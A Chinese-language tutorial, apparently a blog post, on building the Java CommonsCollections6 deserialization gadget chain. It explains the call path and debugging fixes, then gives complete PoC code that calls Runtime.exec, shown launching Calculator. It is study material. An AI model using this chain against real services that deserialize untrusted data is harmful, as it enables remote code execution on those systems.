反序列化Gadget學習篇四 CommonCollections6
這一次來解決前幾篇說到的AnnotationInvocationHandler#readObject
方法在jdk8u71之後無法使用的問題,情況是導彈的彈頭仍然生效,但是負責運送的導彈失效了,所以我們需要找一個新的運送導彈。
一、利用鏈尋找
前面說到我們使用AnnotationInvocationHandler這個類是因為它的readObject方法中隊我們初始化好的一個Map呼叫get(),那現在需要尋找一個新的方法,找gadget一般是反向找,首先看哪個地方呼叫到了LazyMap.get(),這次找到的類是org.apache.commons.collections.keyvalue.TiedMapEntry
在其getValue⽅法中調⽤了 this.map.get ,⽽其hashCode⽅法調⽤了getValue⽅法:
import java.io.Serializable; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.KeyValue; public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } // ... public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } // ...
下一步要尋找什麼地方呼叫了TiedMapEntry#hashCode()
ysoserial中,是利⽤java.util.HashSet#readObject
到HashMap#put()
到 HashMap#hash(key)
最後到TiedMapEntry#hashCode()
。
@phith0n的文章中用的是相對簡單一些鏈,從java.util.HashMap#readObject
中就可以找到HashMap#hash()
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { // ... static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } // ... private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // ... s.defaultReadObject(); // ... // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } } }
構造Gadget
現在有了前面的經驗,我們來直接根據這些資訊寫Gadget:
HashMap#readObject --> HashMap#hash() --> TiedMapEntry#hashCode() --> TiedMapEntry#getValue() --> LazyMap#get() 後面和之前一致。
首先一樣構造出惡意的LazyMap:
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformer);
Map innerMap = new HashMap<>();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
下一步構造一個TiedMapEntry
,使用構造好的LazyMap
初始化:
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
最終我們要傳送一個HashMap物件,初始化一個新的HashMap,並把TiedMapEntry
作為key:
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
HashMap map = new HashMap();
map.put(tme, "whatevedr");
直接序列化傳送即可,這裡本地復現:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
//本地反序列化復現
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
執行觸發,表面上實現了功能,但是實際上存在問題:
問題
在除錯檢視呼叫棧的時候發現,程式碼並沒有執行到readObject就停止了,但是仍然彈出了計算器,報錯產生在writeObject(),那麼如果是實戰,會發現無法得到惡意類的序列化資料。簡單思考一下就明白,出現了之前說過的問題,直接把惡意的transform鏈繫結到lazymap上了,可能前面有某個地方呼叫到了,或者偵錯程式呼叫到了,導致本地彈出計算器。
手動除錯發現,在new TiedMapEntry時,偵錯程式會觸發,彈出計算器。所以我們還要先設定一個假的transform鏈,最後再通過反射改到真正的惡意鏈上。
新增加一個faketransformers
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
在map.put後新增通過反射修改ChainedTransformer的欄位的程式碼:
map.put(tme, "whatevedr");
Field f = ChainedTransformer.class.getField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
再執行,發現這次沒有報錯了,輸出了序列化後的資料,但是也不彈出計算器了。繼續除錯發現在LazyMap#get
呼叫transform的關鍵函式前的一個if判斷:
因為map中包含一個key名為whatever導致跳過了程式碼執行部分,但是我們並沒有給map增加一個key名為whatever。
poc程式碼中和whatever有關聯的部分只有三行:
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");
在除錯時給LazyMap#get
下了斷點,重新除錯發現在列印序列化資料之前就呼叫到了這部分,檢視呼叫棧,發現HashMap#put也會呼叫Hash函式,導致最終的map和預期的不一致:
outMap多了一個key是whatever:
因此解決方案就是手動把這個key去掉:
outMap.remove("whatever");
再次執行成功彈出計算器:
完整程式碼:
package changez.sec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");
// HashMap.put方法也會呼叫hash,導致觸發利用鏈執行,但是這時候使用的是faketransformers,沒有執行命令但是導致陣列多了一個key為whatever,最終會導致反序列化時無法執行命令
// 手動刪除這個key保證執行到LazyMap.get()裡面的this.factory.transform(key)
outMap.remove("whatever");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}